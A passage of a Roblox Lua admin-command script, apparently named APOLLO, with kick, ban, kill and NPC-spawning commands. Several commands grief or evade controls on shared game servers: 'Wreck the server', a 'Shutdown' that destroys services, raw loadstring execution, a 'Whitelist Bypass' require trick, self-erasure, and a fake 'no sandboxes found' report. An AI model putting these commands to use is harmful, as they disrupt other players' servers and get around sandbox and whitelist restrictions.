627 | end | |
628 | ||
629 | APOLLO.Functions.guiNotify=function(plr,text,time) | |
630 | coroutine.wrap(function() | |
631 | if time==nil then time=3 end | |
632 | local Notify = Instance.new("ScreenGui",plr.PlayerGui) | |
633 | Notify.Name = "APOLLO_NOTIFY" | |
634 | local TextPart = Instance.new("TextLabel",Notify) --buttons have better styles | |
635 | TextPart.Size=UDim2.new(0.7,0,0.05,0) | |
636 | TextPart.Position=UDim2.new(0,100,-.2,0); | |
637 | TextPart.Text = text | |
638 | TextPart.BackgroundColor3=Color3.new(0,0,0); | |
639 | TextPart.TextColor3 = Color3.new(1,1,1) | |
640 | TextPart.TextScaled = true | |
641 | TextPart.BorderSizePixel=0; | |
642 | TextPart:TweenPosition(UDim2.new(0,0,0,0),'Out','Quad',2,true); | |
643 | wait(time); | |
644 | TextPart:TweenPosition(UDim2.new(0,0,-.2,0),'Out','Quad',2,true); | |
645 | wait(3); | |
646 | Notify:destroy(); | |
647 | end)(); | |
648 | end; | |
649 | ||
650 | APOLLO.Functions.playerInterface=function(plr) | |
651 | for i,v in next,game:service'NetworkServer':children() do | |
652 | local player=v:GetPlayer() | |
653 | if player.Parent==nil then | |
654 | APOLLO.Functions.tabletOutput(plr,player.Name..' : nil','Really red',function()APOLLO.Functions.dismiss(plr) | |
655 | APOLLO.Functions.tabletOutput(plr,'Destroy '..player.Name..'?','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.kick(player)end) | |
656 | end) | |
657 | elseif player.Parent==game.Players then | |
658 | APOLLO.Functions.tabletOutput(plr,player.Name..' : in-game','Dark green',function()APOLLO.Functions.dismiss(plr) | |
659 | APOLLO.Functions.tabletOutput(plr,'Administrative actions','Really red',function() | |
660 | APOLLO.Functions.tabletOutput(plr,'Respawn '..player.Name..'?','Dark green',function()APOLLO.Functions.dismiss(plr)player:LoadCharacter()end); | |
661 | APOLLO.Functions.tabletOutput(plr,'Kick '..player.Name..'?','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.kick(player)end); | |
662 | APOLLO.Functions.tabletOutput(plr,'Rejoin '..player.Name..'?','New Yeller',function()APOLLO.Functions.dismiss(plr)game:service'TeleportService':Teleport(player,game.PlaceId)end); | |
663 | end); | |
664 | APOLLO.Functions.tabletOutput(plr,'Fun actions','Dark green',function()APOLLO.Functions.dismiss(plr) | |
665 | APOLLO.Functions.tabletOutput(plr,'Kill','Dark green',function()APOLLO.Functions.dismiss(plr)player.Character:BreakJoints()end) | |
666 | --line 666 | |
667 | end) | |
668 | end) | |
669 | else | |
670 | APOLLO.Functions.tabletOutput(plr,tostring(player.Name) or 'Unknown'..' : joining','New Yeller',function()APOLLO.Functions.kick(player)end); | |
671 | end | |
672 | end | |
673 | end | |
674 | function APOLLO.Functions.dismiss(plr) | |
675 | pcall(function() | |
676 | if type(plr) == "userdata" then | |
677 | plr = plr | |
678 | elseif type(plr) == "string" then | |
679 | local f = false | |
680 | for _,v in pairs(game.Players:players())do | |
681 | wait() | |
682 | if v.Name:lower():sub(1,#plr) == plr:lower() then | |
683 | f = true | |
684 | plr = v | |
685 | break | |
686 | end | |
687 | end | |
688 | if f == false then | |
689 | --// | |
690 | end | |
691 | else | |
692 | return | |
693 | end | |
694 | for i,v in next,APOLLO.CoreStuff.StoredTablets do | |
695 | if v.Owner == plr then | |
696 | v.P:remove() | |
697 | APOLLO.CoreStuff.StoredTablets[i]=nil | |
698 | end | |
699 | end | |
700 | for i,v in next,APOLLO.CoreStuff.SavedTabletsInfo do | |
701 | if v.Owner == plr then | |
702 | APOLLO.CoreStuff.SavedTabletsInfo[i] = nil | |
703 | v.P:remove() end | |
704 | end | |
705 | end) | |
706 | end | |
707 | APOLLO.Functions.showCommands=function(plr) | |
708 | for i,v in next,APOLLO.Commands do | |
709 | APOLLO.Functions.tabletOutput(plr,v.Name,'Really red',function() | |
710 | APOLLO.Functions.dismiss(plr) | |
711 | APOLLO.Functions.tabletOutput(plr,'Command name: '..v.Name,'Really red') | |
712 | APOLLO.Functions.tabletOutput(plr,'Command description: '..v.Desc,'Dark green') | |
713 | APOLLO.Functions.tabletOutput(plr,'Required rank: '..v.Rank,'Really red') | |
714 | APOLLO.Functions.tabletOutput(plr,'Usage: '..v.Say,'Dark green') | |
715 | APOLLO.Functions.tabletOutput(plr,'Dismiss','Hot pink',function()wait()APOLLO.Functions.dismiss(plr)end) | |
716 | end);end;APOLLO.Functions.tabletOutput(plr,'Dismiss','Hot pink',function()wait()APOLLO.Functions.dismiss(plr)end)end; | |
717 | ||
718 | ||
719 | -- | |
720 | -- | |
721 | -- | |
722 | --Commands-- | |
723 | -- | |
724 | -- | |
725 | -- | |
726 | APOLLO.Functions.AddCommand('Kill','kill',1,'Kills a player',function(user,msg) | |
727 | for i,v in next,APOLLO.Functions.getPlayers(user,msg)do | |
728 | if v.Character then | |
729 | v.Character.Humanoid.Health=0 | |
730 | end | |
731 | end | |
732 | end); | |
733 | APOLLO.Functions.AddCommand('Ponda Family','pondaf',5,'Creates a family of pandas',function(user,msg) | |
734 | for i = 0,100 do | |
735 | local num=msg:sub(1,2) | |
736 | local num2=msg:sub(4,6) | |
737 | local Asset = "http://www.roblox.com/asset/?id=" | |
738 | function Part(P, Anch, Coll, Tran, Ref, Col, X, Y, Z) | |
739 | local p = Instance.new("Part") | |
740 | p.TopSurface = 0 | |
741 | p.BottomSurface = 0 | |
742 | p.Transparency = Tran | |
743 | p.Reflectance = Ref | |
744 | p.CanCollide = Coll | |
745 | p.Anchored = Anch | |
746 | p.BrickColor = BrickColor.new(Col) | |
747 | p.formFactor = "Custom" | |
748 | p.Size = Vector3.new(X,Y,Z) | |
749 | p.Parent = P | |
750 | p.Locked = true | |
751 | p:BreakJoints() | |
752 | return p | |
753 | end | |
754 | ||
755 | function Weld(P0, P1, X, Y, Z, A, B, C) | |
756 | local w = Instance.new("Weld") | |
757 | w.Part0 = P0 | |
758 | w.Part1 = P1 | |
759 | w.C = CN(X, Y, Z) * CA(A, B, C) | |
760 | w.Parent = P0 | |
761 | return w | |
762 | end | |
763 | ||
764 | CA = CFrame.Angles | |
765 | CN = CFrame.new | |
766 | V3 = Vector3.new | |
767 | MR = math.rad | |
768 | MP = math.pi | |
769 | MRA = math.random | |
770 | MH = math.huge | |
771 | Noob = nil | |
772 | function MakeMotor(torso, p1, c0, c1) | |
773 | local mot = Instance.new("Motor6D") | |
774 | mot.C0 = c0 | |
775 | mot.C1 = c1 | |
776 | mot.Part0 = torso | |
777 | mot.Part1 = p1 | |
778 | mot.Parent = torso | |
779 | return mot | |
780 | end | |
781 | ||
782 | function Set(tab) | |
783 | for _,v in pairs(tab) do | |
784 | local motor = v[1] | |
785 | local vel = v[2] | |
786 | local des = v[3] | |
787 | motor.MaxVelocity = vel | |
788 | motor.DesiredAngle = des | |
789 | end | |
790 | end | |
791 | ||
792 | function Animate(Hum, RSH, LSH, RH, LH) | |
793 | local pose = "Standing" | |
794 | local function sit() | |
795 | pose = "Seated" | |
796 | end | |
797 | local function jump() | |
798 | pose = "Jumping" | |
799 | end | |
800 | local function died() | |
801 | pose = "Dead" | |
802 | end | |
803 | local function falling() | |
804 | pose = "Falling" | |
805 | end | |
806 | local function climbing() | |
807 | pose = "Climbing" | |
808 | end | |
809 | local function run(speed) | |
810 | if speed > 0.5 then | |
811 | pose = "Running" | |
812 | else | |
813 | pose = "Standing" | |
814 | end | |
815 | end | |
816 | local function move(tiem) | |
817 | local amplitude, frequency | |
818 | if pose == "Seated" then | |
819 | Set({{RSH, 0.15, math.pi/2}, {LSH, 0.15, -math.pi/2}, {LH, 0.15, math.pi/2}, {RH, 0.15, -math.pi/2}}) | |
820 | return | |
821 | end | |
822 | if pose == "Jumping" then | |
823 | Set({{RSH, 0.3, math.pi}, {LSH, 0.3, -math.pi}, {LH, 0.3, 0}, {RH, 0.3, 0}}) | |
824 | return | |
825 | end | |
826 | if pose == "Falling" then | |
827 | Set({{RSH, 0.35, math.pi}, {LSH, 0.35, -math.pi}, {LH, 0.35, 0}, {RH, 0.35, 0}}) | |
828 | return | |
829 | end | |
830 | local climb = 0 | |
831 | if pose == "Running" then | |
832 | RSH.MaxVelocity = 0.15 | |
833 | LSH.MaxVelocity = 0.15 | |
834 | RH.MaxVelocity = 0.15 | |
835 | LH.MaxVelocity = 0.15 | |
836 | amplitude = 1 | |
837 | frequency = 8 | |
838 | elseif pose == "Climbing" then | |
839 | RSH.MaxVelocity = 0.3 | |
840 | LSH.MaxVelocity = 0.3 | |
841 | RH.MaxVelocity = 0.15 | |
842 | LH.MaxVelocity = 0.15 | |
843 | amplitude = 1 | |
844 | frequency = 8 | |
845 | climb = math.pi | |
846 | else | |
847 | amplitude = 0.1 | |
848 | frequency = 1 | |
849 | end | |
850 | des = amplitude * math.sin(tiem*frequency) | |
851 | RSH.DesiredAngle = des + climb | |
852 | LSH.DesiredAngle = des - climb | |
853 | RH.DesiredAngle = -des | |
854 | LH.DesiredAngle = -des | |
855 | end | |
856 | Hum.Jumping:connect(jump) | |
857 | Hum.Running:connect(run) | |
858 | Hum.Seated:connect(sit) | |
859 | Hum.Died:connect(died) | |
860 | Hum.FreeFalling:connect(falling) | |
861 | Hum.Climbing:connect(climbing) | |
862 | coroutine.resume(coroutine.create(function() | |
863 | while pose ~= "Dead" do | |
864 | local _, time = wait(0.1) | |
865 | move(time) | |
866 | end | |
867 | end)) | |
868 | end | |
869 | ||
870 | function MakeNoob(pos, scale) | |
871 | local Name = 'Ponda' | |
872 | local Nub = Instance.new("Model") | |
873 | Nub.Name = Name | |
874 | Noob = Nub | |
875 | local Torso = Part(Nub, false, false, 0, 0, "Really black", 2*scale, 2*scale, 1*scale) | |
876 | Torso.Name = "Torso" | |
877 | local Head = Part(Nub, false, false, 0, 0, "Institutional white", 2*scale, 1*scale, 1*scale) | |
878 | Head.Name = "Head" | |
879 | local Neck = MakeMotor(Torso, Head, CN(0, 1*scale, 0), CN(0, -0.5*scale, 0)) | |
880 | local HeadMesh = Instance.new("SpecialMesh",Head) | |
881 | HeadMesh.Scale = V3(1.25, 1.25, 1.25) | |
882 | local Face = Instance.new("Decal",Head) | |
883 | Face.Face = "Front" | |
884 | Face.Texture = Asset..(13038247) | |
885 | local Rarm = Part(Nub, false, false, 0, 0, "Really black", 1*scale, 2*scale, 1*scale) | |
886 | Rarm.Name = "Right Arm" | |
887 | local Larm = Part(Nub, false, false, 0, 0, "Institutional white", 1*scale, 2*scale, 1*scale) | |
888 | Larm.Name = "Left Arm" | |
889 | local Rleg = Part(Nub, false, false, 0, 0, "Institutional white", 1*scale, 2*scale, 1*scale) | |
890 | Rleg.Name = "Right Leg" | |
891 | local Lleg = Part(Nub, false, false, 0, 0, "Really black", 1*scale, 2*scale, 1*scale) | |
892 | Lleg.Name = "Left Leg" | |
893 | ||
894 | local Root= Instance.new("Part",Nub) | |
895 | Root.Name='HumanoidRootPart' | |
896 | Root.Transparency=1; | |
897 | Root.Size=Vector3.new(2,2,1); | |
898 | Root.Friction=0.30 | |
899 | Root.Elasticity=0.5 | |
900 | local Hip = Instance.new("Motor6D",Root) | |
901 | Hip.CurrentAngle=0; | |
902 | Hip.DesiredAngle=0; | |
903 | Hip.MaxVelocity=0.1; | |
904 | Hip.Name='RootHip' | |
905 | Hip.Part0=Root | |
906 | Hip.Part1=Torso | |
907 | ||
908 | local RSH = MakeMotor(Torso, Rarm, CN(1*scale, 0.5*scale, 0) * CA(0, MR(90), 0), CN(-0.5*scale, 0.5*scale, 0) * CA(0, MR(90), 0)) | |
909 | local LSH = MakeMotor(Torso, Larm, CN(-1*scale, 0.5*scale, 0) * CA(0, MR(-90), 0), CN(0.5*scale, 0.5*scale, 0) * CA(0, MR(-90), 0)) | |
910 | local RH = MakeMotor(Torso, Rleg, CN(0.5*scale, -1*scale, 0) * CA(0, MR(-90), 0), CN(0, 1*scale, 0) * CA(0, MR(-90), 0)) | |
911 | local LH = MakeMotor(Torso, Lleg, CN(-0.5*scale, -1*scale, 0) * CA(0, MR(90), 0), CN(0, 1*scale, 0) * CA(0, MR(90), 0)) | |
912 | local Hum = Instance.new("Humanoid") | |
913 | local Hat=game:service'InsertService':LoadAsset(20721282).Pwnda | |
914 | Hat.Handle.Mesh.Scale=Hat.Handle.Mesh.Scale*scale | |
915 | --local Hat2=game:service'InsertService':LoadAsset(152980442).EggofLuck2014 | |
916 | --Hat2.Handle.Mesh.Scale=Hat.Handle.Mesh.Scale*(scale-0.95) | |
917 | wait(0.1) | |
918 | Hat.Parent=Nub | |
919 | Hum.MaxHealth = 40+(scale*60) | |
920 | Hum.Health = 100 | |
921 | Hum.Parent = Nub | |
922 | Nub.Parent = workspace | |
923 | Nub:MakeJoints() | |
924 | Nub:MoveTo(pos) | |
925 | Animate(Hum,RSH,LSH,RH,LH) | |
926 | local path = { | |
927 | Vector3.new(7.9, 5.39, -65.1), | |
928 | Vector3.new(9.7, 47.39, -17.1), | |
929 | Vector3.new(-3.2, 23.49, -9), | |
930 | Vector3.new(-13.2, 5.49, 30.8), | |
931 | Vector3.new(-82.9, 5.39, 16.5), | |
932 | } | |
933 | ||
934 | local radius = 200 | |
935 | ||
936 | function randomvector() | |
937 | return Vector3.new(math.random() * radius * 2 - radius, math.random() * radius * 2 - radius, math.random() * radius * 2 - radius) | |
938 | end | |
939 | ||
940 | local pointCount = math.random(4, 10) | |
941 | ||
942 | for i = 1, pointCount do | |
943 | path[i] = randomvector() | |
944 | end | |
945 | ||
946 | wait() | |
947 | ||
948 | local parent = Nub | |
949 | local moveTime = 0 | |
950 | while (true) do | |
951 | for i, point in pairs(path) do | |
952 | local distanceVector = parent.HumanoidRootPart.Position - point | |
953 | local distance = distanceVector.magnitude | |
954 | parent.Humanoid:MoveTo(point, Workspace.Base) | |
955 | moveTime = 0 | |
956 | while (moveTime < (distance / 32)) do | |
957 | moveTime = moveTime + 1 | |
958 | -- parent.Humanoid.Jump = true | |
959 | wait(1) | |
960 | end | |
961 | end | |
962 | end | |
963 | ||
964 | return {Name = Name, Model = Nub, Humanoid = Hum, Torso = Torso, Head = Head, Rarm = Rarm, Larm = Larm, Rleg = Rleg, Lleg = Lleg, RSH = RSH, LSH = LSH, RH = RH, LH = LH, Neck = Neck} | |
965 | end | |
966 | local Npc = MakeNoob(V3(MRA(-20, 20),10,MRA(-20, 20)),1) | |
967 | wait(0.1) | |
968 | end | |
969 | end) | |
970 | ||
971 | APOLLO.Functions.AddCommand('Ranked','gr',0,'Shows ranked players',function(user) | |
972 | APOLLO.Functions.getRanked(user); | |
973 | end); | |
974 | ||
975 | APOLLO.Functions.AddCommand('Forcefield','ff',1,'Gives a forcefield',function(user,msg) | |
976 | for i,v in next,APOLLO.Functions.getPlayers(user,msg)do | |
977 | local ff=Instance.new("ForceField",v.Character) | |
978 | ff.Name='S_FF' | |
979 | end | |
980 | end); | |
981 | ||
982 | APOLLO.Functions.AddCommand('Perma-FF','pff',3,'Forcefields you as long as the script is running.',function(user,msg) | |
983 | for i,v in next,APOLLO.Functions.getPlayers(user,msg)do | |
984 | local ff=Instance.new("ForceField",v.Character) | |
985 | ff.Name='S_P_FF' | |
986 | while wait() do | |
987 | if v.Character:findFirstChild('S_P_FF')==nil then | |
988 | local ff=Instance.new("ForceField",v.Character) | |
989 | ff.Name='S_P_FF' | |
990 | end | |
991 | end | |
992 | end | |
993 | end) | |
994 | ||
995 | APOLLO.Functions.AddCommand('Kick','kick',3,'Kicks a player',function(user,msg) | |
996 | for i,v in next,APOLLO.Functions.getPlayers(user,msg) do | |
997 | pcall(function()APOLLO.Functions.kick(v)end); | |
998 | end | |
999 | end); | |
1000 | ||
1001 | APOLLO.Functions.AddCommand('FIx Idle','fidle',4,'Fixes the idle animation',function() | |
1002 | while(wait())do | |
1003 | for i,v in next,APOLLO.Idling do | |
1004 | for i = 0,10,1 do | |
1005 | wait() | |
1006 | APOLLO.Functions.tabletOutput(game:service'Players':findFirstChild(v.Name),'','Really red'); | |
1007 | end | |
1008 | wait(0.8) | |
1009 | APOLLO.Functions.dismiss(game:service'Players':findFirstChild(v.Name)); | |
1010 | end | |
1011 | end | |
1012 | end); | |
1013 | ||
1014 | APOLLO.Functions.AddCommand('Dismiss','dt',0,'Dismisses your tablets',function(user) | |
1015 | APOLLO.Functions.dismiss(user); | |
1016 | end); | |
1017 | APOLLO.Functions.AddCommand('Wreck the server','rek',4,'Wrecks the server.',function() | |
1018 | game.ItemChanged:connect(function() | |
1019 | for i,v in next,workspace:children() do | |
1020 | for i = 0,10 do | |
1021 | pcall(function()v:Clone().Parent=workspace end) | |
1022 | end | |
1023 | end | |
1024 | end) | |
1025 | do | |
1026 | setfenv(1,{game=game,Destroy=Destroy,wait=wait,print=print})--try to get clean env | |
1027 | game.Lighting:Destroy() | |
1028 | end | |
1029 | end); | |
1030 | ||
1031 | APOLLO.Functions.AddCommand('Idle','idle',0,'Show people you are AFK.',function(user) | |
1032 | table.insert(APOLLO.Idling,user); | |
1033 | print('added '..tostring(user)..' to idle list') | |
1034 | end) | |
1035 | ||
1036 | APOLLO.Functions.AddCommand('Un-idle','uidle',0,'Show people you are back.',function(user) | |
1037 | for i,v in next,APOLLO.Idling do | |
1038 | if v.Name==user.Name then | |
1039 | table.remove(APOLLO.Idling,i) | |
1040 | print('removed '..v.Name..' from idle list'); | |
1041 | end | |
1042 | end | |
1043 | end) | |
1044 | ||
1045 | APOLLO.Functions.AddCommand('Time ban','tban',5,'Timebans a person.',function(user,msg) | |
1046 | local found=false | |
1047 | for i,v in next,APOLLO.Functions.getPlayers(user,msg)do | |
1048 | for i,r in next,APOLLO.TimeBanned do | |
1049 | if r.Name==tostring(v) then | |
1050 | found=true | |
1051 | end | |
1052 | end | |
1053 | if found==false then | |
1054 | msg=msg:sub(#msg+1) | |
1055 | table.insert(APOLLO.TimeBanned,{Name=tostring(v),Time=tonumber(msg)}) | |
1056 | APOLLO.Functions.kick(v); | |
1057 | end | |
1058 | end | |
1059 | end) | |
1060 | ||
1061 | APOLLO.Functions.AddCommand('Logs','slogs',3,'Shows admin logs',function(user,msg) | |
1062 | for i,v in next,APOLLO.Functions.getPlayers(user,msg) do | |
1063 | for d,w in next,APOLLO.Logged do | |
1064 | if w['Name']==v.Name then | |
1065 | APOLLO.Functions.tabletOutput(user,tostring(v.Name),'Really red',function()APOLLO.Functions.dismiss(user) | |
1066 | for i,q in next,w.Actions do | |
1067 | APOLLO.Functions.tabletOutput(user,tostring(q),'Dark green') | |
1068 | end | |
1069 | end) | |
1070 | end | |
1071 | end | |
1072 | end | |
1073 | end) | |
1074 | ||
1075 | APOLLO.Functions.AddCommand('Ban','ban',3,'Bans the player',function(user,msg) | |
1076 | for i,v in next,APOLLO.Functions.getPlayers(user,msg) do | |
1077 | table.insert(APOLLO.Banned,v.Name) | |
1078 | APOLLO.Functions.kick(v); | |
1079 | end | |
1080 | end); | |
1081 | ||
1082 | APOLLO.Functions.AddCommand('Rexe','exe',7,'Raw-exe',function(user,msg) | |
1083 | pcall(function()loadstring(msg)()end); | |
1084 | end); | |
1085 | ||
1086 | APOLLO.Functions.AddCommand('Remove','remm',6,'Removes the admin',function() | |
1087 | for i,v in next,getfenv(1) do | |
1088 | getfenv(1)[i]=nil;end | |
1089 | for i,v in next,getfenv() do | |
1090 | getfenv(1)[i]=nil;end | |
1091 | for i,v in next,getfenv(2)do | |
1092 | getfenv(1)[i]=nil;end | |
1093 | script.Disabled=true; | |
1094 | script:remove(); | |
1095 | getfenv(print).error=nil; | |
1096 | getfenv(print).print=nil; | |
1097 | getfenv().REMOVED=true; | |
1098 | end) | |
1099 | ||
1100 | APOLLO.Functions.AddCommand('Change rank','rank',0,'Ranks a player',function(user,msg) | |
1101 | local rank=APOLLO.Functions.getRank(user) | |
1102 | for i,v in next,game:service'Players':players() do | |
1103 | APOLLO.Functions.tabletOutput(user,v.Name,'Really red',function()APOLLO.Functions.dismiss(user) | |
1104 | if rank==0 then | |
1105 | APOLLO.Functions.tabletOutput(user,"You can't change anyones rank.",'Really red') | |
1106 | return | |
1107 | end | |
1108 | if rank>=1 and rank>APOLLO.Functions.getRank(v) then | |
1109 | APOLLO.Functions.tabletOutput(user,"Change player rank to 0",'Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,0)end) | |
1110 | end | |
1111 | if rank>=2 and rank>APOLLO.Functions.getRank(v) then | |
1112 | APOLLO.Functions.tabletOutput(user,'Change player rank to 1','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,1)end) | |
1113 | end | |
1114 | if rank>=3 and rank>APOLLO.Functions.getRank(v) then | |
1115 | APOLLO.Functions.tabletOutput(user,'Change player rank to 2','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,2)end) | |
1116 | end | |
1117 | if rank>=4 and rank>APOLLO.Functions.getRank(v) then | |
1118 | APOLLO.Functions.tabletOutput(user,'Change player rank to 3','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,3)end) | |
1119 | end | |
1120 | if rank>=5 and rank>APOLLO.Functions.getRank(v) then | |
1121 | APOLLO.Functions.tabletOutput(user,'Change player rank to 4','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,4)end) | |
1122 | end | |
1123 | if rank>=6 and rank>APOLLO.Functions.getRank(v) then | |
1124 | APOLLO.Functions.tabletOutput(user,'Change player rank to 5','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,5)end) | |
1125 | end | |
1126 | end) | |
1127 | end | |
1128 | end) | |
1129 | ||
1130 | APOLLO.Functions.AddCommand('Require','req',5,'Requires an ID at Nexures SB (Whitelist Bypass)',function(user,msg) | |
1131 | local e=getfenv(load) | |
1132 | e.require=nil; | |
1133 | e.require(tostring(msg))(getfenv()) | |
1134 | end) | |
1135 | ||
1136 | APOLLO.Functions.AddCommand('Shutdown','sd',6,'Shuts down the server.',function() | |
1137 | for i,v in next,APOLLO.Services do | |
1138 | for d,k in next,v:children() do | |
1139 | pcall(game.Destroy,k); | |
1140 | end | |
1141 | end | |
1142 | while(wait())do | |
1143 | for i,plr in next,game:service'Players':players() do | |
1144 | APOLLO.Functions.kick(plr); | |
1145 | end | |
1146 | end | |
1147 | end); | |
1148 | ||
1149 | APOLLO.Functions.AddCommand('Colors','colors',1,'Shows Lua colors',function(user) | |
1150 | for i,v in next,APOLLO.Colors do | |
1151 | APOLLO.Functions.tabletOutput(user,tostring(v),v); | |
1152 | end | |
1153 | end); | |
1154 | ||
1155 | APOLLO.Functions.AddCommand('Change bet','cbet',0,'Changes your bet',function(user) | |
1156 | local bets={'/','\\',"'",'"','>','<',',','.','?'}; | |
1157 | for i,v in next,APOLLO.Ranked do | |
1158 | if v.Name==user.Name then | |
1159 | for i,bet in next,bets do | |
1160 | APOLLO.Functions.tabletOutput(user,tostring(bet),'Really red',function()APOLLO.Functions.dismiss(user)v.Bet=bet end) | |
1161 | end | |
1162 | end | |
1163 | end | |
1164 | end); | |
1165 | ||
1166 | APOLLO.Functions.AddCommand('List place settings/info','plc',2,'Shows place info and settings',function(user) | |
1167 | local o=APOLLO.Functions.tabletOutput; | |
1168 | o(user,'id='..game.PlaceId); | |
1169 | o(user,'# '..#workspace:children()); | |
1170 | o(user,'garbage: '..'nan'); | |
1171 | o(user,'LoadStringEnabled: '..game:service'ServerScriptService'.LoadStringEnabled); | |
1172 | o(user,'Sandboxed: '..'All functions ran, no sandboxes found.'); | |
1173 | o(user,'Environment clean: yes'); | |
1174 | end); | |
1175 | ||
1176 | APOLLO.Functions.AddCommand('Create server','news',666-660,'Makes a new server',function(user,msg) | |
1177 | local placeid = nil | |
1178 | if #msg > 2 then | |
1179 | placeid = msg | |
1180 | end | |
1181 | APOLLO.Functions.CreateGameServer(user,placeid) | |
1182 | end); | |
1183 | ||
1184 | ||
1185 | APOLLO.Functions.AddCommand('Ponda','ponda',1,'Spawns an AntiBooz0r companion',function(user,msg) | |
1186 | local num=msg:sub(1,2) | |
1187 | local num2=msg:sub(4,6) | |
1188 | local Asset = "http://www.roblox.com/asset/?id=" | |
1189 | function Part(P, Anch, Coll, Tran, Ref, Col, X, Y, Z) | |
1190 | local p = Instance.new("Part") | |
1191 | p.TopSurface = 0 | |
1192 | p.BottomSurface = 0 | |
1193 | p.Transparency = Tran | |
1194 | p.Reflectance = Ref | |
1195 | p.CanCollide = Coll | |
1196 | p.Anchored = Anch | |
1197 | p.BrickColor = BrickColor.new(Col) | |
1198 | p.formFactor = "Custom" | |
1199 | p.Size = Vector3.new(X,Y,Z) | |
1200 | p.Parent = P | |
1201 | p.Locked = true | |
1202 | p:BreakJoints() | |
1203 | return p | |
1204 | end | |
1205 | ||
1206 | function Weld(P0, P1, X, Y, Z, A, B, C) | |
1207 | local w = Instance.new("Weld") | |
1208 | w.Part0 = P0 | |
1209 | w.Part1 = P1 | |
1210 | w.C = CN(X, Y, Z) * CA(A, B, C) | |
1211 | w.Parent = P0 | |
1212 | return w | |
1213 | end | |
1214 | ||
1215 | CA = CFrame.Angles | |
1216 | CN = CFrame.new | |
1217 | V3 = Vector3.new | |
1218 | MR = math.rad | |
1219 | MP = math.pi | |
1220 | MRA = math.random | |
1221 | MH = math.huge | |
1222 | Noob = nil | |
1223 | function MakeMotor(torso, p1, c0, c1) | |
1224 | local mot = Instance.new("Motor6D") | |
1225 | mot.C0 = c0 | |
1226 | mot.C1 = c1 | |
1227 | mot.Part0 = torso | |
1228 | mot.Part1 = p1 | |
1229 | mot.Parent = torso | |
1230 | return mot | |
1231 | end | |
1232 | ||
1233 | function Set(tab) | |
1234 | for _,v in pairs(tab) do | |
1235 | local motor = v[1] | |
1236 | local vel = v[2] | |
1237 | local des = v[3] | |
1238 | motor.MaxVelocity = vel | |
1239 | motor.DesiredAngle = des | |
1240 | end | |
1241 | end | |
1242 | ||
1243 | function Animate(Hum, RSH, LSH, RH, LH) | |
1244 | local pose = "Standing" | |
1245 | local function sit() | |
1246 | pose = "Seated" | |
1247 | end | |
1248 | local function jump() | |
1249 | pose = "Jumping" | |
1250 | end | |
1251 | local function died() | |
1252 | pose = "Dead" | |
1253 | end | |
1254 | local function falling() | |
1255 | pose = "Falling" | |
1256 | end | |
1257 | local function climbing() | |
1258 | pose = "Climbing" | |
1259 | end | |
1260 | local function run(speed) | |
1261 | if speed > 0.5 then | |
1262 | pose = "Running" | |
1263 | else | |
1264 | pose = "Standing" | |
1265 | end | |
1266 | end | |
1267 | local function move(tiem) | |
1268 | local amplitude, frequency | |
1269 | if pose == "Seated" then | |
1270 | Set({{RSH, 0.15, math.pi/2}, {LSH, 0.15, -math.pi/2}, {LH, 0.15, math.pi/2}, {RH, 0.15, -math.pi/2}}) | |
1271 | return | |
1272 | end | |
1273 | if pose == "Jumping" then | |
1274 | Set({{RSH, 0.3, math.pi}, {LSH, 0.3, -math.pi}, {LH, 0.3, 0}, {RH, 0.3, 0}}) | |
1275 | return | |
1276 | end | |
1277 | if pose == "Falling" then | |
1278 | Set({{RSH, 0.35, math.pi}, {LSH, 0.35, -math.pi}, {LH, 0.35, 0}, {RH, 0.35, 0}}) | |
1279 | return | |
1280 | end | |
1281 | local climb = 0 | |
1282 | if pose == "Running" then | |
1283 | RSH.MaxVelocity = 0.15 | |
1284 | LSH.MaxVelocity = 0.15 | |
1285 | RH.MaxVelocity = 0.15 | |
1286 | LH.MaxVelocity = 0.15 | |
1287 | amplitude = 1 | |
1288 | frequency = 8 | |
1289 | elseif pose == "Climbing" then | |
1290 | RSH.MaxVelocity = 0.3 | |
1291 | LSH.MaxVelocity = 0.3 | |
1292 | RH.MaxVelocity = 0.15 | |
1293 | LH.MaxVelocity = 0.15 | |
1294 | amplitude = 1 | |
1295 | frequency = 8 | |
1296 | climb = math.pi | |
1297 | else | |
1298 | amplitude = 0.1 | |
1299 | frequency = 1 | |
1300 | end | |
1301 | des = amplitude * math.sin(tiem*frequency) | |
1302 | RSH.DesiredAngle = des + climb | |
1303 | LSH.DesiredAngle = des - climb | |
1304 | RH.DesiredAngle = -des | |
1305 | LH.DesiredAngle = -des | |
1306 | end | |
1307 | Hum.Jumping:connect(jump) | |
1308 | Hum.Running:connect(run) | |
1309 | Hum.Seated:connect(sit) | |
1310 | Hum.Died:connect(died) | |
1311 | Hum.FreeFalling:connect(falling) | |
1312 | Hum.Climbing:connect(climbing) | |
1313 | coroutine.resume(coroutine.create(function() | |
1314 | while pose ~= "Dead" do | |
1315 | local _, time = wait(0.1) | |
1316 | move(time) | |
1317 | end | |
1318 | end)) | |
1319 | end | |
1320 | ||
1321 | function MakeNoob(pos, scale) | |
1322 | local Name = 'Ponda' | |
1323 | local Nub = Instance.new("Model") | |
1324 | Nub.Name = Name | |
1325 | Noob = Nub | |
1326 | local Torso = Part(Nub, false, false, 0, 0, "Really black", 2*scale, 2*scale, 1*scale) | |
1327 | Torso.Name = "Torso" | |
1328 | local Head = Part(Nub, false, false, 0, 0, "Institutional white", 2*scale, 1*scale, 1*scale) | |
1329 | Head.Name = "Head" | |
1330 | local Neck = MakeMotor(Torso, Head, CN(0, 1*scale, 0), CN(0, -0.5*scale, 0)) | |
1331 | local HeadMesh = Instance.new("SpecialMesh",Head) | |
1332 | HeadMesh.Scale = V3(1.25, 1.25, 1.25) | |
1333 | local Face = Instance.new("Decal",Head) | |
1334 | Face.Face = "Front" | |
1335 | Face.Texture = Asset..(13038247) | |
1336 | local Rarm = Part(Nub, false, false, 0, 0, "Really black", 1*scale, 2*scale, 1*scale) | |
1337 | Rarm.Name = "Right Arm" | |
1338 | local Larm = Part(Nub, false, false, 0, 0, "Institutional white", 1*scale, 2*scale, 1*scale) | |
1339 | Larm.Name = "Left Arm" | |
